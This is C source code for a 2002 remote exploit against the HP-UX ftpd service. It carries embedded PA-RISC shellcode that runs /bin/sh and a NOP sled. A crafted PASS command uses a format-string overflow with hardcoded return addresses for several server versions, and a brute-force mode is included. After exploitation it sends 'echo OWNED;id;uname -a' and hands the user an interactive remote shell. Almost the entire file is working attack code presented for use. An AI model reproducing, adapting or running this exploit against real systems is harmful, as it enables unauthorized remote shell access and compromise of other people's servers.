/*
 * HP-UX ftpd exploit by John Anderson (john@ev6.net) Mon Aug 26 19:25:50 EDT 2002
 * Tested against: 220 hpbox FTP server (Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997) ready.
 * HP-UX 11.0 should be vulnerable by default
 * Based on theoretical exploit by babcia padlina ltd. <venglin@freebsd.lublin.pl>
 * With thanks to psychoid, snake, slow-moe
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>

#define NOPS 17
#define BUFSIZE 1024

u_char shellcode[] = /* exec /bin/sh shellcode for hpux/pa-risc */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

char hpnop[] = "\x08\x21\x02\x80"; /* PA-RISC NOP */

unsigned long ret = 0x7f7efd80; /* history */

int ctimedout(int sig) {
 printf(" Exploitation timed out.\n");
 exit(0);
}

void usage()
{
printf("Usage:\n");
printf("./exploit IP/HOST TYPE (ret) (offset)\n");
printf("Where type is one of:\n");
printf("0 - bruteforce, specify ret and offset manually\n");
printf("1 - ret=0x7f7efd80, offset=0, Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997\n");
printf("2 - ret=0x7f7e9dc0, offset=0, Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999\n");
printf("3 - ret=0x7f7e9dc0, offset=0, Version 1.1.214.2 Mon May 11 12:21:14 GMT 1998\n");
printf("4 - ret=0x7f7e9dc1, offset=0, Version 1.1.214.5 Tue Nov 16 09:39:15 GMT 1999\n");
printf("5 - ret=0x7f7f9dd0, offset=0, Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999 - HPPA2\n");
exit(0);
}

int main(argc, argv)
int argc;
char **argv;
{
        int stackofs, nops;
        int i, cnt, sck, ctimeout=2000;
        int type, offset, brute=0;
        char buf[BUFSIZ*2], buf2[2048], buffer[4096];
    struct hostent *hp;
    struct sockaddr_in adr;
signal(SIGALRM, ctimedout);

printf("HP-UX ftpd exploit, Mon Aug 26 19:25:50 EDT 2002\n");

if (argc < 2) 
     usage();

type=atoi(argv[2]);

          switch (type)
            {
            case 0: /* bruteforce mode */
            ret=strtoul(argv[3],NULL,16);
            brute=1;
            break;
            case 1: /* Version 1.7.214.1 Thu Oct 23 19:57:52 GMT 1997 */
            ret=0x7f7efd80;
	    break;
            case 2: /* Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999 */
            ret=0x7f7e9dc0;
            break;
            case 3: /* Version 1.1.214.2 Mon May 11 12:21:14 GMT 1998 */
            ret=0x7f7e9dc0;
            break;
            case 4: /* Version 1.1.214.5 Tue Nov 16 09:39:15 GMT 1999 */
            ret=0x7f7e9dc1;
            break;
            }
if(brute) {
if (argc > 3) { 
offset=atoi(argv[4]); 
ret=ret+offset; 
}
}
printf("Using ret: %p\n", ret);
 
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_family=AF_INET;
        adr.sin_port=htons(21);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
                errno=EADDRNOTAVAIL;perror("error");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }
        alarm(ctimeout);

        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }

/* actual code */

        for (strcpy(buf, "PASS "),i=0;i<NOPS;i++) strcat(buf, hpnop);
        sprintf(buf+strlen(buf), "%s%%.%ddaaaa%c%c%c%c", shellcode,
                BUFSIZE-strlen(shellcode)-nops*4-4,
(((int)ret & 0xff000000) >>24),(((int)ret & 0xff0000) >> 16),(((int)ret &
          0xff00) >>8),((int)ret & 0xff));

/*        sprintf(buf2, "USER root\r\n%s\r\n", buf); */
        sprintf(buf2, "USER admin\r\n");
        write(sck,buf2,strlen(buf2));
        sprintf(buf2, "%s\r\n", buf);
/*        sleep(2); */

        alarm(0);
write(sck,buf2,strlen(buf2));
printf("%s\n%d\n", buf2, strlen(buf2));
sleep(2);
sprintf(buf2, "echo OWNED;id;uname -a;\n");
write(sck,buf2,strlen(buf2));
sleep(1);
sprintf(buf2, "echo OWNED;id;uname -a;\n");
write(sck,buf2,strlen(buf2));

    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }

/*        exit(0); */
}
